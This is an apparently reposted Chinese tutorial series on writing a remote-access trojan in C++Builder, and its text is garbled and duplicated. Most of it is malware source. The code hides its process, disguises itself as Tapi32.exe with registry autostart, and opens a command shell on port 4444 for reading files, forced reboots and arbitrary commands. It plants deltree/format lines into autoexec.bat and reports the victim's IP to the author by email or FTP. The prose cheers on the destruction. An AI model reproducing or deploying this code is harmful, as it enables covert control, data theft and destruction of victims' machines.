file://“”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_DIREC)

fwrite(" DIR ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win369.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已试了100次了

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion 0x80000000)

{

file://操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);

这个函数的作用是打开一个进程的访问令牌

函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);

的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369.bat

system(TempFile);

file://执行Win369.bat

Socket-SendText("Success");

file://返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket-Close();

file://关闭服务

ServerSocket1-Active =true;

file://再次打开服务

if (NMSMTP1-Connected) NMSMTP1-Disconnect();

file://如果SMTP服务器已连接则断开

NMSMTP1-Host = "smtp.163.net";

file://选一个好用的SMTP服务器,如163、263、sina和btamail

NMSMTP1-UserID = "";

file://你SMTP的ID

try

{

NMSMTP1-Connect();

file://再次连接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NMSMTP1-PostMessage-FromAddress ="I don't know!";

file://受害者的Email地址

NMSMTP1-PostMessage-FromName = "Casualty";

file://受害者的名字

NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";

file://将信发到我的邮箱,这一步很关键

NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NMSMTP1-PostMessage-Subject = "Server Running Now!";

file://信的主题

NMSMTP1-SendMail();

file://发送!

return;

file://返回

NextTime:

NMFTP1-Host = "";

file://你的FTP服务器的地址

NMFTP1-UserID = "";

file://你的用户ID

NMFTP1-Port = 21;

端口号,一般为21

NMFTP1-Password = "";

file://你的FTP的密码

if(NMFTP1-Connected) NMFTP1-Disconnect();

file://如果已连接就断开

try

{

NMFTP1-Connect();

file://再连接

}

catch(...)

{

return;

file://返回

}

AnsiString SendToSite = "Server Running on: " + NMFTP1-RemoteIP;

file://受害者的IP地址

FILE * Upload;

Upload = fopen(NMFTP1-RemoteIP.c_str(),"w+");

file://创建一个新文件准备写,如果已存在就覆盖

fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);

file://写入以上的SendToSite的内容

fclose(Upload);

file://写完后关闭此文件

NMFTP1-RemoveDir("public_html");

file://删除public_html目录

NMFTP1-Upload(NMFTP1-RemoteIP, NMFTP1-RemoteIP);

file://上传!

}

啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:

#include stdlib.h

#include dirent.h

#include fcntl.h

#include dos.h

#include sys\stat.h

#include winbase.h

#include stdio.h

#include process.h

#include io.h

#include mmsystem.h

至此,服务器端(Server)程序已全部

木马是什么东西

木马是如何编写的(一)

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");

file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

file://如果不是,就写入以上键值和内容

}

catch(...)

{

file://如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket-ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket-SendText("Sucess");

file://然后发回“Success”的成功信息

}

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket-SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket-SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent-d_name).c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib FA_RDONLY)

file://“”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_DIREC)

fwrite(" DIR ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win369.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已试了100次了

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion 0x80000000)

{

file://操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);

这个函数的作用是打开一个进程的访问令牌

函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);

的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369.bat

system(TempFile);

file://执行Win369.bat

Socket-SendText("Success");

file://返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket-Close();

file://关闭服务

ServerSocket1-Active =true;

file://再次打开服务

if (NMSMTP1-Connected) NMSMTP1-Disconnect();

file://如果SMTP服务器已连接则断开

NMSMTP1-Host = "smtp.163.net";

file://选一个好用的SMTP服务器,如163、263、sina和btamail

NMSMTP1-UserID = "";

file://你SMTP的ID

try

{

NMSMTP1-Connect();

file://再次连接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NMSMTP1-PostMessage-FromAddress ="I don't know!";

file://受害者的Email地址

NMSMTP1-PostMessage-FromName = "Casualty";

file://受害者的名字

NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";

file://将信发到我的邮箱,这一步很关键

NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NMSMTP1-PostMessage-Subject = "Server Running Now!";

file://信的主题

NMSMTP1-SendMail();

file://发送!

return;

file://返回

NextTime:

NMFTP1-Host = "";

file://你的FTP服务器的地址

NMFTP1-UserID = "";

file://你的用户ID

NMFTP1-Port = 21;

端口号,一般为21

NMFTP1-Password = "";

file://你的FTP的密码

if(NMFTP1-Connected) NMFTP1-Disconnect();

file://如果已连接就断开

try

{

NMFTP1-Connect();

file://再连接

}

catch(...)

{

return;

file://返回

}

AnsiString SendToSite = "Server Running on: " + NMFTP1-RemoteIP;

file://受害者的IP地址

FILE * Upload;

Upload = fopen(NMFTP1-RemoteIP.c_str(),"w+");

file://创建一个新文件准备写,如果已存在就覆盖

fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);

file://写入以上的SendToSite的内容

fclose(Upload);

file://写完后关闭此文件

NMFTP1-RemoveDir("public_html");

file://删除public_html目录

NMFTP1-Upload(NMFTP1-RemoteIP, NMFTP1-RemoteIP);

file://上传!

}

啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:

#include stdlib.h

#include dirent.h

#include fcntl.h

#include dos.h

#include sys\stat.h

#include winbase.h

#include stdio.h

#include process.h

#include io.h

#include mmsystem.h

至此,服务器端(Server)程序已全部

0条大神的评论

发表评论